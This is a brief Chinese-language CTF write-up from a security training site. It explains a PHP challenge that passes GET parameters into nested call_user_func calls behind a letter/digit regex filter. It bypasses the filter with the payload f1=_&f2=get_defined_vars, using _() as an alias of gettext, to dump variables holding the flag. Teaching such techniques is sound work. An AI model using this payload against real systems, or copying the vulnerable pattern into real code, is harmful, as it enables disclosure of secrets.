PHP特性:无字母数字构造函数

<?php
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}
function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

在开启该拓展后 _() 等效于 gettext()

 

<?php
echo gettext("phpinfo");
//结果  phpinfo

echo _("phpinfo");
//结果 phpinfo

所以call_user_func(‘_’,’phpinfo’)

返回的就是phpinfo

因为我们要得到的flag就在flag.php中,所以可以直接用get_defined_vars

get_defined_vars ( void ) : array

此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

payload:f1=_&f2=get_defined_vars

Tips:鼠标经过代码时会出现工具栏,工具栏上方有一键复制代码的功能哦~天云网络培训,专注于网络空间安全相关培训,并提供相关课程的在线培训 报名微信 tyedu1
天云网络培训 » PHP特性:无字母数字构造函数

提供专业、易懂、平民化教育。让每个热爱网络的人有个归宿

立即查看 了解详情